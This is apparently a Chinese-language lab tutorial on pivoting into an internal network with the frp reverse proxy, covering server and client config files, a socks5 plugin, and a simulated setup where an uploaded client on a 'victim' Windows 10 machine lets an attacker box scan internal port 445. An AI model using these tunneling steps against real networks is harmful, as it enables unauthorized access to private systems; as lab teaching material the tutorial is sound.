frps.ini的配置文件如下:
[common]
bind_port = 7000
[common]部分是必须有的配置，其中bind_port是自己设定的frp服务端端口，用于和frp服务器端进行通信。
frpc.ini配置文件如下:
[common]
server_addr = VPS IP
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
[common]部分是必须有的配置
其中server addr是VPS的IP
server port是用来和frp客户端通信的端口，必须和frp服务器端端口一致，默认是7000。
[ssh]可以修改成任意名称，local ip是本地的IP，local port是本地进行监听的端口，
remote port是访问VPS时需要使用的端口，也就是说访问到这个remote port端口时才能访问到内网。
启动frp客户端：
./frpc -c ./frpc.ini
启动frp服务器端
./frps -c ./frps.ini
frpc.ini中添加这一行指明类型 plugin = socks5
模拟内网环境：
在虚拟机里全部设置为仅主机模式
win7模拟攻击机 ip为172.168.84.129
win10模拟受害机 网卡1:172.168.84.128,网卡2:192.168.17.165
kali模拟公网vps ip为172.168.84.130
首先看win10网卡,172.168.84.128是仅主机模式的ip，192.168.17.165是net的ip：
1：在vps上启动服务，也就是kali上
tar -zxvf frp.tar.gz
cd frp_0.34.3_linux_amd64/
./frps -c ./frps.ini
2:win10执行我们上传的frp客户端：
3：在攻击机上(win7)设置代理规则
然后在代理规则中把想走socket代理的添加上去
打开刚才添加的routescan，探测到内网ip的445端口
https://mp.weixin.qq.com/s?__biz=MzU1NzkwMTc3Mw==&mid=2247485560&idx=1&sn=7096e35ad0bcb7069dcdc41709e8f042&chksm=fc2ffadacb5873ccbcbac6adb0ce0d9bae79baceebd62563b0b3b402df8a65097bdcc8577c8f&mpshare=1&scene=1&srcid=1123CUljOeuX6cWRkL4AqePM&sharer_sharetime=1606111990010&sharer_shareid=72c8d0a645ffb8d66b3624f86f1399d6&key=cd8d71bf880842d5f1b2591c963c7172ed81668d8011e7dbbe6d06d24cec7417cb16c69379c05d262e5e9347f55e616cff16928a3c292a1b18cfdb54c7c0bce182a8fef424c2b4ca8ad6113d0bc3d1d3914a1e4f0d7097908a1c80ba3d9f6b2484c3dd5651463fb5db8ba5e4741b1bc25ebcccbf72b33a478d49d3b58bc90507&ascene=1&uin=MzQ2NTAxMzQ1MA%3D%3D&devicetype=Windows+10+x64&version=6300002f&lang=zh_CN&exportkey=Aakp5suNP362OQA2F5sC1hg%3D&pass_ticket=rj8lRtkWnwrwA%2BzuPImFEkx8DqpYVBf7Ckjhe9e%2FArOvh7k6SbD0htsES0kc0U%2B7&wx_header=0
参考链接